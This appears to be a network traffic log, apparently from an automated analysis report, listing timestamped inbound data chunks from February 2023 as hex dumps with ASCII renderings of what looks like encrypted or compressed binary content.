2023-02-16 10:49:29 UTC	112	IN	Data Raw: 16 f3 e8 46 62 49 15 9e ed 9e 83 26 80 bb 90 36 34 c0 3c 3a 7e d0 48 53 43 bf ac 35 4b d5 83 9c 48 60 ca ea d7 24 bb b5 0b 9d 8b af 8d 8d ad 24 1f dc 4e b2 22 10 4f d5 d8 08 af da b5 c6 5f 37 ac 1a 4a f9 c3 d4 7d 0a 55 31 23 f1 0e 92 7e f2 4a a7 0e e4 c7 f3 df 43 e4 dd 71 7c 90 0b aa e0 da a5 22 8b 61 49 4b ad d0 ba 42 b7 3b 08 26 1d d6 5a c8 ef 72 ce f4 21 03 c5 fa a8 e2 91 79 81 dc 10 c6 1f 9e bc 32 7c f7 c0 8f 05 5b 81 73 e7 db af ab 7c 46 fb da 59 f1 f9 ff 1f 4a ba 20 c9 8b 89 3f 3a 1d 5d 39 7f 45 45 26 af 89 7b 01 42 78 ee a9 88 45 e6 16 24 01 3c 72 7c 94 73 3e 11 36 15 5f 87 33 09 4b d0 65 e0 f4 86 c8 41 58 58 96 85 ec fb 0c ce 25 51 29 e3 60 3c ae 81 79 1d 27 d8 fb 2f 46 ab 42 cf af 45 e0 63 b5 c2 c8 be 44 d7 e9 cb 2d 64 ca 96 8d f8 0e 8c ff 88 3e Data Ascii: FbI&64<:~HSC5KH`$$N"O_7J}U1#~JCq\|"aIKB;&Zr!y2\|[s\|FYJ ?:]9EE&{BxE$<r\|s>6_3KeAXX%Q)`<y'/FBEcD-d>
2023-02-16 10:49:29 UTC	128	IN	Data Raw: 2f 22 0d f0 64 73 d4 88 a2 13 f8 b5 cf 9a 66 d9 1a 0f 64 af 18 e4 61 3c da 5a 20 3d e3 6e df 52 ce 4e e2 2f 0a c7 4b 76 5a 03 af a7 c9 db c6 59 1b fa 07 49 4d 49 bd 48 ed b0 74 75 c0 89 da 7b 2a dc 1b 66 52 8e e5 08 7e d1 33 bd 4c 0a 59 db 2b 92 89 e0 09 84 82 8a 2e 98 09 b6 75 d3 8c c3 0a 37 ac e8 a2 b4 0c cc 2f a5 27 fb 89 d5 ca 6c 7c d1 60 e1 a4 59 67 16 37 c3 9e ba 88 41 b8 23 ea 29 a3 58 0e c7 ca ca a2 ff 5e 37 01 5d af 6c 33 b6 6b a1 55 d1 70 51 23 b4 46 65 d5 98 96 ff 46 34 4a 7c 76 1c 0c f8 34 cd 8e 61 75 25 05 48 36 76 c2 33 35 1a b3 aa f4 a6 8b d0 25 e9 8c e1 90 68 2d 49 08 db bf 73 5d 0a ec d0 8a 17 37 c9 71 fe ee 32 13 47 e7 e1 25 a8 39 31 58 31 7e 82 57 99 88 38 33 55 dc f8 19 a4 39 af f4 52 9b 3a 0d ba 87 81 14 a5 20 c7 23 75 4b f2 58 e5 89 Data Ascii: /"dsfda<Z =nRN/KvZYIMIHtu{*fR~3LY+.u7/'l\|`Yg7A#)X^7]l3kUpQ#FeF4J\|v4au%H6v35%h-Is]7q2G%91X1~W83U9R: #uKX
2023-02-16 10:49:29 UTC	144	IN	Data Raw: f4 38 67 a7 c5 21 68 2c e3 a9 3a 54 21 32 f2 82 74 a9 24 fc bd e6 2a 1e 15 e9 f1 c3 3f c9 5d a3 35 71 c9 80 89 f2 6a e9 cf 1a 14 51 79 7d 21 fd a2 d1 7a 5a da e6 6b 61 6e b4 ac 21 cb c9 8b 18 02 45 04 d0 f1 94 fa ce b7 72 e8 b7 dd fc 3c 26 eb 9a 36 40 73 ac 39 c2 d5 ba 74 2e da 45 75 05 69 54 ab fa ef 0f 49 0b 4c 4d 36 4d a2 64 37 6d a2 7e 6d 30 a4 57 70 54 da 66 36 0f 51 13 53 b3 4a 25 99 a9 33 bc dc 6d 19 aa 7f e5 59 67 79 4e 42 b9 74 0e 6e 4f 99 8b f1 59 2f b8 0a 98 6f c3 f5 50 c8 f3 83 d3 30 90 d4 f4 ed 52 bc 23 30 6e 42 fe 0a 64 ce a1 86 84 d0 09 a0 6b e5 f0 f2 ab eb 5e d8 4a 8a 26 81 b8 64 be 5e 24 94 da a6 d0 25 a3 c7 ef 56 94 80 14 c5 f1 dc 64 da 89 c9 43 ff 11 2b db be 7d 5b 8a e2 52 b2 0f 1b 6c 25 e7 3d ee 44 75 4f 35 bd 4e 62 12 24 ef 50 78 bb Data Ascii: 8g!h,:T!2t$*?]5qjQy}!zZkan!Er<&6@s9t.EuiTILM6Md7m~m0WpTf6QSJ%3mYgyNBtnOY/oP0R#0nBdk^J&d^$%VdC+}[Rl%=DuO5Nb$Px
2023-02-16 10:49:29 UTC	160	IN	Data Raw: 82 0a de fc 76 cd fe fe 51 04 09 74 a1 0a 36 39 f8 f0 28 01 53 11 91 77 36 56 32 08 65 13 1e 8e 99 4d 5c b9 13 76 62 db 4f ef aa 2b 4b 45 9e f3 88 b0 30 64 84 21 0e 1c c8 ed 17 ec 5e 21 3f ed 59 32 da 7d 4d cd c1 c7 eb 57 fe b9 c6 63 f6 a3 0d b5 0e 64 84 9a 80 ee cb 21 89 88 06 70 4a ab c4 38 42 c8 d6 37 c7 49 d4 6a ff f2 27 29 e1 44 0d 65 c8 1d f2 38 b7 e4 bc 0f 48 fd d6 c2 64 6c a1 a4 96 2b 26 8e cf 65 9a e0 11 b2 56 f9 38 4a 05 8a 4b 56 1a 60 25 c3 01 e0 7e 2e fd 03 6e 59 aa 5c d5 b6 fc 1a dd 13 88 4a a9 6c f4 91 a1 5d 93 b5 2f cb 31 c8 0a 4b c4 1c 94 c3 98 b0 d1 48 e6 54 e2 f6 b6 96 80 a7 96 00 24 ec d1 d9 9a bc 6d c0 46 04 51 df 0b 17 28 9b 46 3f de c4 a7 25 bb ef f6 81 f0 8d 6e a6 e2 6d 07 0c 53 b1 7c 2a d8 ca e5 2a 36 8e ac 63 e4 fe 92 7e 39 d2 92 Data Ascii: vQt69(Sw6V2eM\vbO+KE0d!^!?Y2}MWcd!pJ8B7Ij')De8Hdl+&eV8JKV`%~.nY\Jl]/1KHT$mFQ(F?%nmS\|**6c~9
2023-02-16 10:49:29 UTC	176	IN	Data Raw: b0 5b ef 88 73 2d 9e de 6b 37 05 a7 b7 d4 dd 7e cb 71 54 eb 73 f7 55 b6 8d f2 92 dd 09 04 2e dc e7 c0 44 9b ed 41 a1 a7 16 73 42 30 b1 cc e3 3f 85 bc 4d b8 52 e4 07 0d 21 93 2b 0b d0 ae 4f c2 35 e0 0a b0 4d 37 b6 b8 90 68 70 0b 6d 2b 1f 35 52 54 22 f7 9e a9 fd 2b d6 0d 97 80 72 3a ae 38 03 3e 27 b4 da be bb ed fc 69 f3 87 d9 e4 dc 5b b0 63 a2 f9 d2 bf 53 b1 9b 37 12 61 3a 07 c6 4b a4 30 66 fc e5 09 ca 45 1a df 4f e9 48 5f f5 e8 3e 5b a6 8a 00 11 50 7e fc 7d 31 29 83 c6 70 ac 0d d5 f0 33 fa bb 3a 96 c8 d5 21 58 84 a6 e7 70 f3 cf 42 47 17 3c 96 aa 3b b8 d6 58 9c d3 c4 e4 75 1f ea d5 5b ab 6b 13 39 94 02 6e d4 4f e1 92 a8 a8 13 3a e9 97 e0 fc 11 35 e4 3c 8c 72 5d 57 d5 5d 2b 90 e2 37 66 8e 1d be 94 37 e6 b9 7e 8e 9f 57 56 63 a2 98 a7 82 75 0e 3d 19 66 ae 44 Data Ascii: [s-k7~qTsU.DAsB0?MR!+O5M7hpm+5RT"+r:8>'i[cS7a:K0fEOH_>[P~}1)p3:!XpBG<;Xu[k9nO:5<r]W]+7f7~WVcu=fD
2023-02-16 10:49:29 UTC	192	IN	Data Raw: 18 5a 2e de f6 9a de cd 48 3a ad bf 52 25 25 1d 51 8e c7 3c 84 a7 a3 be 6a 7f 50 8c a1 11 20 a6 ef db 0c 2c a8 91 bd c4 c2 f3 43 2f 1d f4 ba 72 d4 28 56 71 97 6d c9 31 0d 6a 40 c7 da 49 1e c5 66 01 e5 42 76 de 1f be b2 4e 74 91 57 f1 ac 6e c2 07 37 48 4c 13 0f 34 63 ad f5 26 36 44 d2 45 57 4e ea 94 7b 42 cd 22 0a 10 49 7a bb 7f 5f fa 16 b0 6e 14 37 77 81 20 d9 3c 9d 88 3e 5d f1 79 e5 8d 9f ef d8 d4 aa a7 f7 e3 ff 61 ef 13 79 4b 94 22 7c 42 b4 f2 88 80 a2 bf d9 a1 c5 34 df 71 8f 83 7a a9 1f ec fc c1 cd 51 5c 4c b1 64 7d 29 df ac d0 28 3f d3 76 6e d4 c8 d8 52 1a 5d 62 dc 86 a6 d6 38 73 fb 13 37 bf 4b be dd f8 0c b5 2e f8 ae a0 f5 a1 40 f0 1f d4 39 3f 8b a9 b2 fe b0 d1 4b 6d 21 6e 0c ef d1 a9 66 f6 53 f5 16 a0 10 4f ca 71 01 33 97 81 38 57 88 e4 0a aa aa d8 Data Ascii: Z.H:R%%Q<jP ,C/r(Vqm1j@IfBvNtWn7HL4c&6DEWN{B"Iz_n7w <>]yayK"\|B4qzQ\Ld})(?vnR]b8s7K.@9?Km!nfSOq38W
2023-02-16 10:49:29 UTC	208	IN	Data Raw: 28 5d 6c 10 cf 3a 96 47 ce af ec 8a c0 de 09 34 22 28 74 4a cb c9 66 74 20 a2 b2 c5 39 3a 6e 74 f2 be 56 27 0b c5 cf 4d 13 1c 4e d4 62 78 12 b6 e8 4e 77 d8 2b ef b7 a5 6b 95 26 b9 60 13 45 32 7d df 5b b5 2d 6b 86 0e 49 7a a5 74 94 f1 a9 1a 1e 5e f3 0c d8 d3 37 07 ec cc c3 6e 58 b1 d5 2a 7d ef d9 88 05 4d 29 13 32 55 75 60 00 b4 77 bc 63 8b 7f a0 57 ff c6 f4 01 de f2 ce 08 e1 4e 40 3b ac 55 9c c4 91 87 ce 26 2a de 7f 58 84 73 82 78 45 15 f2 1b 30 00 5b 9f ee 85 03 5f 2d 4a aa be 9d 78 a7 96 16 93 93 e1 6e 6e 22 93 03 0c 53 18 86 0b d3 35 e2 05 32 c2 22 b5 b0 5c 8f 2d ec 91 bd 98 3e 99 37 7d fa c0 9c 48 50 e1 8f ae 3b 05 86 6b c6 54 b1 d8 32 e4 47 d2 3a 40 fb 9c 4c d8 20 ab 95 b6 29 89 cd 9c cc 57 1f ec 03 9c 99 9a ea df 75 67 bb 02 2f 92 94 1d 52 79 f3 6b Data Ascii: (]l:G4"(tJft 9:ntV'MNbxNw+k&`E2}[-kIzt^7nX}M)2Uu`wcWN@;U&XsxE0[_-Jxnn"S52"\->7}HP;kT2G:@L )Wug/Ryk
2023-02-16 10:49:29 UTC	224	IN	Data Raw: e7 ce 0d a6 12 eb 5f 53 db ef 6f b1 f4 b0 73 cd 76 d2 01 0a b3 4b 20 fb bf 6b c6 75 29 b3 89 7b 27 f7 fc ee e2 5b 0f 58 c6 6e 1a d9 a9 a9 01 56 c7 57 8c 97 e4 e5 85 d2 df 8c 20 d3 fc 69 db f3 7b b3 cf d1 cd 9a 22 89 60 ec 92 dd 6a 31 d0 d8 e4 ae a5 c4 19 da c8 7e 66 50 70 8f 3f 0b 0a 5b b1 ff 70 a1 80 ae 1d df 4d 15 49 e5 b3 52 44 14 e1 8f 21 47 b7 ff 4b 3f e5 7c 38 90 8f 1e 67 da b6 74 61 12 04 5f c4 58 d2 27 22 fe b4 a0 be bf 9b 6b a5 37 c2 8a cc a4 36 6e b2 37 0c 42 42 80 d6 05 49 61 96 4f 5b 86 87 e5 43 63 e7 d1 28 f0 cb 90 a8 92 0a 4d 83 71 5a cd 88 78 98 ed ea 0e 90 f7 bb 52 aa 11 d3 38 90 1f 8c 9f 3c 31 d0 88 62 e2 a1 06 74 1a 18 03 c9 46 b3 b1 2d 87 c5 b9 df 30 e7 fb b8 80 ef ff 1c ae 0b 99 8d 75 f0 32 6a 77 90 87 87 db b6 1f cf 11 a6 8a f6 89 43 Data Ascii: _SosvK ku){'[XnVW i{"`j1~fPp?[pMIRD!GK?\|8gta_X'"k76n7BBIaO[Cc(MqZxR8<1btF-0u2jwC
2023-02-16 10:49:29 UTC	240	IN	Data Raw: a8 3d 1e e5 88 06 57 84 2d 98 5a 6e 6e 25 63 80 f3 c1 8b 33 47 36 7a 66 01 9f 16 61 56 48 1f 16 6e 0f a3 01 52 79 73 e4 b2 0d 22 d1 00 c4 a1 07 e0 cf 5a a8 97 4b 24 51 b4 86 8f b3 03 eb 93 0f de 63 0e d0 33 b9 3a 2a 6a 7f 6c da 85 21 3e 20 96 a0 3a 6e b9 18 df e5 77 07 d8 20 59 87 29 13 4b 5b 15 b3 ff 8f 24 bd dd a4 78 b0 32 11 e2 37 f8 73 2c 6a 46 66 66 f1 d0 28 f2 ec 0e d6 a9 99 18 30 5d bb 58 1f 41 a4 fe 5c 47 ef fa 75 ed bd af d9 a6 ce 4c f3 30 26 66 09 b2 5b ca 45 42 0f 67 95 18 84 c9 1d 6c 5d df a0 b3 0f 7d 45 1e 8d b2 07 e0 4a 96 81 ac e4 2c 97 f1 88 e8 ff d0 84 0b aa 53 b2 80 62 46 2b b2 7d 82 22 ec cd 9c 98 d8 ad 3f 81 fc c4 3d 04 b6 99 2f 21 1b 66 c1 47 c0 28 cb 55 b5 72 07 46 1c 4e e9 06 ae 40 b9 88 3f 1f 71 c2 1b b4 92 10 c4 96 c3 92 be 1c 3a Data Ascii: =W-Znn%c3G6zfaVHnRys"ZK$Qc3:*jl!> :nw Y)K[$x27s,jFff(0]XA\GuL0&f[EBgl]}EJ,SbF+}"?=/!fG(UrFN@?q:
2023-02-16 10:49:29 UTC	256	IN	Data Raw: 40 f3 0e 0a 28 f7 25 49 68 4a 1e 4d c0 be 1e d1 31 a7 7d b8 53 92 84 0c 08 f3 65 49 49 ee 60 ae 30 f8 17 37 7b 2b 5f e7 67 6d 62 dc 66 ec 0d 9d 90 06 d4 48 41 a3 50 46 59 89 80 5b 57 91 e1 8c dc cd 94 84 a9 07 88 56 1d 81 42 e4 5f 58 c0 84 64 fd 2d f0 b0 a3 98 51 42 ef 40 c0 6f 70 e9 72 60 17 85 14 9b ae f8 05 dc 76 1b f0 9e 5a 20 42 16 b2 56 fa 03 b9 df 0a 89 4c 0f 0d 10 5e 93 b9 4d 0b be bc 7c d8 ec f7 3c 3c 4b 1e 6d 0d 7a df 7d 08 24 74 bf 9b 67 dc a2 a5 d7 36 e9 2c 42 4d 2f 36 c1 7b c8 c2 9e eb 63 d0 bf 2e a8 90 a9 8f cf 05 43 26 d2 c0 77 69 ba 6d b2 8a 67 43 75 a5 67 ed be ec 43 92 f6 85 de fa eb 90 68 2e 63 33 25 85 72 2c a2 19 bd e3 42 4e a8 c6 4a d9 ff ee dd 81 cc 01 ae d5 42 de 32 8a 3d 1c 63 d5 3d c2 12 09 d7 16 99 4c 56 b3 ed 51 7a 4b 3d 01 03 Data Ascii: @(%IhJM1}SeII`07{+_gmbfHAPFY[WVB_Xd-QB@opr`vZ BVL^M\|<<Kmz}$tg6,BM/6{c.C&wimgCugCh.c3%r,BNJB2=c=LVQzK=
2023-02-16 10:49:29 UTC	272	IN	Data Raw: b9 35 51 b0 b2 09 d3 f3 91 c8 ff 94 10 dc 88 04 94 b7 c7 ac 91 bd 3f 14 47 f1 85 98 8a ee 76 bd 63 b4 ea f8 f3 2b 20 3d 08 76 cf e4 f5 f1 21 db 24 60 61 34 09 55 24 da 48 ed 44 24 ad f3 31 7b d8 34 c3 05 e3 69 bf b0 75 46 18 79 c3 63 97 4b f7 98 07 ce 1e 70 de 00 ac 9b 2d 8c 30 77 09 14 d6 83 89 f7 bf 0a 2f 87 a6 ea ce 0e 6d b7 b8 08 e4 2f a0 ab 5c 3a eb 7e 2d 95 6d 8a 24 54 c7 d2 af 3b 39 25 e5 53 14 27 7e b6 a8 24 14 55 60 bb 15 2b 73 77 38 f8 44 de ad dc 6c d7 4c f8 37 0a e0 be 91 1e 60 a1 e0 75 61 88 0b 3b 13 ad 14 49 53 9e e8 c4 e6 d2 35 bb c8 71 da 4d a9 64 b7 97 73 1c 4e 55 67 d2 77 ee e8 36 22 30 f7 67 87 5c 90 bc 3d a1 d0 0d 81 1d 3e cc 7e d0 ea bf 84 60 8c ed bd 3a 53 8e 82 9b 4f 47 61 cb 89 60 8d b0 5f 2f 93 c6 54 23 1f 4b a5 b9 38 fb aa 92 6b Data Ascii: 5Q?Gvc+ =v!$`a4U$HD$1{4iuFycKp-0w/m/\:~-m$T;9%S'~$U`+sw8DlL7`ua;IS5qMdsNUgw6"0g\=>~`:SOGa`_/T#K8k
2023-02-16 10:49:29 UTC	288	IN	Data Raw: 72 5c 80 3a 82 e2 0b 49 be d0 f7 be cf 7b c9 30 ee f8 ee a8 10 0b 90 28 f9 99 1a 32 c7 f1 22 25 fc c5 4f 0d 00 72 af 2c 56 96 05 9b 38 6f 15 ac 5e 95 4d f8 26 96 9a 10 8c d5 1a 5c 44 18 e4 f1 cf 00 44 77 18 2a dd 33 1c af 0a c8 6b 54 e5 c1 3d 34 f9 62 ae 41 be 93 5f 92 9e 2d e5 cc 50 1f 31 ec dc 7a a7 36 ae 62 57 2f cd 1e 01 a1 fa d9 8f ee 1a fb 67 2a 60 58 0e d0 2b 70 ab 08 20 a2 ce 74 fd 06 a3 95 a8 a7 82 d4 4d dc 27 c4 09 8f e6 92 48 0c e8 16 70 76 47 63 76 c0 a6 42 8f 6c 31 83 ec 87 c1 a5 5b b5 f8 8c 72 80 6b e4 1d 4f 3c 92 b3 9e 50 e9 d1 0b df 59 bb 22 b1 ac 79 c6 69 7b 74 03 75 89 0b f4 53 a8 11 91 35 a2 00 e0 33 0f 82 19 bb bd 94 30 f0 fb af 48 d6 e4 62 1c 1a 08 53 67 62 68 a8 5f 54 1f 65 51 92 d6 8d e7 7b 5e 67 02 fc b6 43 a5 c5 df 4c 3a 56 d5 e7 Data Ascii: r\:I{0(2"%Or,V8o^M&\DDw3kT=4bA_-P1z6bW/g`X+p tM'HpvGcvBl1[rkO<PY"yi{tuS530HbSgbh_TeQ{^gCL:V
2023-02-16 10:49:29 UTC	304	IN	Data Raw: 76 30 4d ed a8 0f 79 0e d8 d0 d1 77 de ac 1d 1a 38 06 fa 88 d9 f6 a4 40 bb 84 4a 87 f2 95 41 5d 42 20 e7 2b 22 3a 9d 9c a6 c7 97 9a 64 ae 82 0b 6b 32 b5 c3 60 8d 7e 01 a9 97 a7 60 90 76 8d a7 95 8b 37 7e 0e f8 b2 2b 59 20 9f cf 1c d8 a9 50 5e 91 45 1c 99 83 9f 0d 34 ac 27 6c 66 40 b6 83 bd 6c 85 f2 b5 e4 a4 c1 83 47 02 83 b2 ad 39 05 30 57 6b 6e 73 3b 4f 27 d9 4f 86 e4 c9 c6 b5 e8 c5 47 5a 08 a7 a6 2b 7a cd 71 45 8d 56 ab 0b de e0 31 7d 29 79 ba e3 d8 d6 71 37 78 50 73 35 d5 80 62 be a5 a3 cc 1a 4e 97 8c 4d 5c 7e 15 c1 96 bd 2a d2 1c 58 57 be 25 7c 5c 1c 81 14 c4 08 13 7a 4f bc d2 8c 86 27 c2 cc 5b 4c 13 9d e9 ee af 69 93 01 a3 91 77 46 d6 dc a3 17 ca 0d 87 d1 39 4a df 31 47 37 21 8a 5d 5e 33 27 25 31 37 d2 ae 17 62 07 3f ba b6 9b 10 7b 81 75 5c d2 78 03 Data Ascii: v0Myw8@JA]B +":dk2`~`v7~+Y P^E4'lf@lG90Wkns;O'OGZ+zqEV1})yq7xPs5bNM\~*XW%\|\zO'[LiwF9J1G7!]^3'%17b?{u\x
2023-02-16 10:49:29 UTC	320	IN	Data Raw: b6 77 17 ad 7a fc fd c4 cd 9e b8 e5 87 6c 19 7e 70 6e ec 37 d6 27 41 c7 36 7f 84 3d 83 79 a2 95 0d 44 95 9a 8e 26 a4 4f e5 8b 6a ba a8 99 22 a1 37 ef c2 41 1a 5b 3b d1 9d 52 ac 55 b0 51 a6 8c 5c d8 bf 84 15 94 46 b3 a7 c6 22 51 21 a2 0b 44 49 ec 87 51 13 b7 28 f8 c9 46 8c 63 44 d2 20 99 a1 04 35 9a 61 58 ba 8e 03 fb 8c 03 74 5c 77 7e 5e 20 ec 27 66 2e ea e9 78 f6 b1 51 09 9f c1 12 89 25 dc db 26 32 bc 5d 63 c9 cc 7e 95 de 65 4c 0f ff a3 7f 72 03 ef cc fd 94 f8 f3 72 ee 61 15 2c d6 32 2b 9b 83 27 be a7 23 10 7f 19 07 c3 58 35 1e 8d 3d d6 e7 a1 3c 7a ef 79 2a 29 6e 6f 4c 6e d1 13 80 31 f6 87 ec 2a 1e 10 a0 ee 54 0c 09 95 55 47 ba 87 a5 65 17 fc dc a7 e1 35 0f 5f d6 c2 e1 bf 9f 3f 62 c9 9e ba e4 62 89 3d 2f f7 5c 32 ca 11 dc e0 22 76 82 31 4f 03 44 d7 a9 ee Data Ascii: wzl~pn7'A6=yD&Oj"7A[;RUQ\F"Q!DIQ(FcD 5aXt\w~^ 'f.xQ%&2]c~eLrra,2+'#X5=<zy)noLn1TUGe5_?bb=/\2"v1OD
2023-02-16 10:49:29 UTC	336	IN	Data Raw: 96 c0 da 72 ca 5d f6 a8 d4 55 3b e8 21 00 49 74 e3 97 b3 29 ab e9 7f bf 11 3c e6 b8 15 5a 67 a7 5b e5 f3 fe 91 3b f0 4e b2 d6 69 4c 03 22 c0 b9 73 3c 65 c8 52 68 93 87 aa b6 8a 41 5d 18 d5 b0 8c 11 19 c6 a9 89 b0 16 13 38 61 d3 cc f8 23 09 89 e6 f3 d9 0b 8b df 42 fe 91 e8 45 a2 e0 76 6b 31 cf 54 9f 1a 14 b4 a1 82 36 01 fd 85 7a dc 5e d0 61 40 d5 54 48 11 7b 0d 43 b2 12 0d 5c 0d 8f 8e ca f9 be 6f d5 2d ab 72 10 5d bb 75 3e 19 00 85 6e 42 65 a6 6e b8 fd d8 16 cc 43 4a 86 e9 c7 3f e7 b9 d1 33 50 cf db cd 40 9a c4 42 ee 15 f3 b8 2a 7b 02 ac 02 68 b1 1b 93 c4 dd 76 e3 81 00 83 f0 f6 fd 0d 47 f2 dd 7b 19 8e 70 d3 8f bf 67 8a ec f0 0e 15 3d 9b b5 b6 aa cf 56 37 c8 8a 96 2f e7 6e d3 e3 e8 d4 29 4c 71 fa a4 a4 e0 4d 4e 1f 3e ef 1f a0 88 69 b2 00 c3 55 6c 6b c2 a9 Data Ascii: r]U;!It)<Zg[;NiL"s<eRhA]8a#BEvk1T6z^a@TH{C\o-r]u>nBenCJ?3P@B*{hvG{pg=V7/n)LqMN>iUlk
2023-02-16 10:49:29 UTC	352	IN	Data Raw: 31 47 d6 12 dc 80 6a 9d 36 92 84 b9 c6 eb f9 44 77 de 1f 5a 5b be 94 9b 31 52 51 fb 3b 4f fc 30 4f a6 c6 2d b1 fe 53 8f 0d a5 b6 87 e3 0c 07 b2 d4 c7 4c e8 04 31 f5 48 b2 f5 ca 2f 8f 40 d5 aa 99 8a 2f 47 22 ef df 28 ba 89 2b 5f 48 9a ac 47 13 d6 36 f3 eb 1e 5f 6e b8 29 b8 e1 57 96 00 40 03 46 0b 13 c8 ae 32 58 7f dc fc d4 15 fe cd 14 bc 80 b2 36 6e f4 d8 14 43 9f 02 ca 97 04 99 e0 0d 26 cf ad b2 ff 89 f7 ad 22 94 2a fe 0c 34 cf 3e cd b4 72 b6 9b fb 0f b6 7d e6 aa b5 2d df 93 4e bc ae 9d ab 7d 4e d8 30 5d 63 55 b8 78 07 b2 a2 20 de a9 6f 40 7e 9e bc b8 78 ea fc 40 6d c9 b5 7d b7 62 cb 2c cd 35 2a 90 e5 e8 f4 24 fa c0 13 da 04 a1 f6 02 03 b3 2c f1 8e e1 8a 12 63 93 d6 12 47 f8 03 24 37 ef 10 96 bb 34 43 53 7c 4f b2 60 2e 53 ab f4 dd e3 d7 80 69 0f ac a3 12 Data Ascii: 1Gj6DwZ[1RQ;O0O-SL1H/@/G"(+_HG6_n)W@F2X6nC&"4>r}-N}N0]cUx o@~x@m}b,5$,cG$74CS\|O`.Si
2023-02-16 10:49:29 UTC	368	IN	Data Raw: d0 09 16 03 60 54 5f ca c8 ea ed 1d d7 0c 13 20 95 53 61 14 8f 07 b1 6c 74 54 bb 73 c2 33 50 63 ea d5 1e ed d2 3e 26 7b d3 42 a9 6c d6 27 84 12 9d 59 bb 58 8f 51 60 4a 26 3e b9 fa 3d 2f 48 34 ab 98 7b f8 4d 3f 53 75 8e f4 e4 51 b1 a2 ef d0 fc b0 8e bf a4 d1 1d 25 00 78 b0 56 16 8f ea 27 21 57 ef 9c 42 7a 03 c0 13 52 c9 4e 5d 55 c5 b9 dd d8 aa ff 65 8f 81 24 57 f6 25 13 81 1d d3 17 04 a6 81 a2 48 8e 03 e7 40 a5 4c 7c 42 e4 f6 50 ff f4 13 6d b3 16 c2 95 e1 19 0d 2c 79 6c c3 2f 4c 4a ea d4 ce cb bf ca 0d 44 f0 2f 91 7b 59 6b d4 65 df 73 60 a1 aa 23 e7 7a be db 1d 89 97 a4 a1 ba 6f fc 07 8c 24 22 51 ed d1 90 94 57 a6 5a 51 55 b7 37 70 04 19 56 1f 9d a3 e2 50 d0 d2 14 d0 d2 8b 0b 7d c1 47 10 1a 9d c3 53 af 36 3e 1b 20 58 e3 a4 cf 89 a2 de c2 e7 68 90 be f4 da Data Ascii: `T_ SaltTs3Pc>&{Bl'YXQ`J&>=/H4{M?SuQ%xV'!WBzRN]Ue$W%H@L\|BPm,yl/LJD/{Ykes`#zo$"QWZQU7pVP}GS6> Xh
2023-02-16 10:49:29 UTC	384	IN	Data Raw: 97 0f 6a aa 17 06 b9 8b 2b 96 61 35 00 3e c2 13 fe ec 0b b4 60 bf 4e dd a2 27 68 bb 00 3f 86 25 d8 2e df e5 77 ed 1f c2 98 7e 68 c8 40 da ff 8c 1c 36 6c 0a b3 64 70 c5 8e 24 80 85 be 23 92 ac 2f 50 1f 28 08 17 bc 9d c5 e2 49 1f a5 a2 90 9a c0 38 5c 45 d1 4d 76 aa b7 51 28 3f 18 19 fb 30 da 12 3c 69 8e ca fc da 93 a3 20 8d 75 78 c5 d2 23 70 f2 ad 8d 4e af c0 0f f5 7b fa 24 35 10 a9 7c 0f bb 05 49 e8 c0 eb d7 16 5e 7a 77 72 91 4d ef f8 b3 2a 2b c1 b8 f1 fe 82 6a 7a 30 4b 0b 90 38 2c 3a 77 6a 60 46 23 62 39 90 a4 80 03 be 0f a6 ff f3 41 97 ab 3e 6c d9 65 29 f6 42 6e 0e 17 e3 c3 aa d6 1e 25 e0 32 f7 fb c5 61 21 e9 f9 50 03 06 dd 95 ad 1d c8 c5 9a cf 75 ce 8a be d2 1e d0 de 1b de c1 db 59 85 38 a9 af 52 a6 d8 41 6e f7 5c 16 2a 93 96 ce 97 46 3a 52 75 01 0c 51 Data Ascii: j+a5>`N'h?%.w~h@6ldp$#/P(I8\EMvQ(?0<i ux#pN{$5\|I^zwrM+jz0K8,:wj`F#b9A>le)Bn%2a!PuY8RAn\F:RuQ
2023-02-16 10:49:29 UTC	400	IN	Data Raw: 91 2f f6 c4 98 48 1c a0 67 2f 8c 5c f5 b8 63 c7 8a 55 42 d4 43 1e 23 5f b3 86 a4 58 4e bd 14 ba a9 0d e0 88 93 65 ea 06 d6 f7 ee 31 c0 a9 74 07 34 12 6b 53 26 bc 84 95 e6 d5 f7 6c f0 57 fa ab d9 45 8e 83 5b b7 84 a6 d1 b1 7c b5 87 5c f7 1d 20 7c 54 99 af 2c 8b 90 e8 6b ae cb ea 73 76 f5 cf 75 ef f2 7b d5 fb 95 7f 7f 35 f1 be 90 98 e1 55 ec 5d f6 c0 3e 5f 62 61 d0 cf 0b 8e 61 a4 de 13 16 30 7f d4 89 03 f1 8e 16 ea cc fd 95 a9 e3 42 86 86 e7 1e d7 9d 94 b0 a4 00 01 b8 1d d7 e3 88 ed 05 6e 6c 4a 4f 77 e0 d1 b0 d6 45 f7 5e bd f2 7c 7f e5 e2 bf ef b9 4a bc ec 3b 9a c2 7d 01 95 2a 8c 18 21 ca 38 2e 32 9c e0 fd ad ee b2 62 fa 77 ef 96 6a 52 50 92 a2 02 f2 36 70 86 75 b2 39 13 f3 0f 13 65 7a 80 b0 d1 cd f5 bd 12 a7 00 23 4e 8d 81 00 4e 07 68 c6 cf f1 6d 92 d8 96 Data Ascii: /Hg/\cUBC#_XNe1t4kS&lWE[\|\ \|T,ksvu{5U]>_baa0BnlJOwE^\|J;}*!8.2bwjRP6pu9ez#NNhm
2023-02-16 10:49:29 UTC	416	IN	Data Raw: e0 47 0a da 30 41 21 65 77 d2 64 0c d5 fb 29 21 52 8c 5a 33 46 fa ae fe ca b2 dd 52 73 4b c1 9c c9 aa 18 07 50 44 8a a3 10 e3 4d 6a 79 d4 22 b2 f4 4e 0d fb b0 ea 6c 64 17 52 0b ff d4 bb 36 f9 e1 f0 e4 e5 de 7e 55 ee b4 92 e5 1e 74 cb 53 83 56 ad 11 3f a2 71 b7 9c ce 44 72 69 d8 6e b5 31 bf 48 fb 20 7f 64 c4 c3 00 a0 0d 6c d7 14 8d 4c 38 ef 83 69 29 59 1e e5 73 42 af 51 9b c3 8c 1d 80 44 67 24 d1 17 fa fa b3 9a 3c 5b ed bd 57 b3 3b 79 6b 83 f5 63 73 48 66 f2 3f 9f f3 2b 17 ce 85 ea 10 03 f3 0c 48 7c 69 02 ee 44 0b cc e0 65 bb a8 c7 ab 2c 4d 18 80 43 36 d4 ed fe 2f 54 d7 4e bc 96 89 cd b7 6e 74 96 4b 32 b9 49 2b 42 0e a7 31 f1 de 19 ea c3 6e ef 04 8a b6 87 89 1e a4 ef b2 cd 21 db 8f 57 c0 cf ee fc 1e 44 10 91 c4 fa d8 b1 a7 c6 0d 69 41 af 54 8d 7b f9 df 03 Data Ascii: 